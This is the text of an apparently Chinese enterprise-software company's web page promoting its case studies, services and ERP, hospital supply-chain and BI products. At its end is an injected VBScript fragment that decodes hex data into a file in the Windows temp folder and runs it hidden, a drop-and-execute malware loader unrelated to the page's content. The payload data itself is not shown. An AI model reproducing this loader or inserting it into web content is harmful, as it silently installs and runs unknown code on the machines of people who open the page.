企业风采

以人为本 有容乃大

企业风采

以人为本 有容乃大

立即了解
 

工程案例

近百家上市企业专业实施案例

案例分享

近百家上市企业专业实施案例

立即了解
 

服务体系

18项专业一站式特色服务

服务体系

18项专业一站式特色服务

立即了解
 

解决方案

企业资源计划(ERP)

解决方案

医院供应链平台(HSCM)

商业智能分析BI

立即了解
Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //-->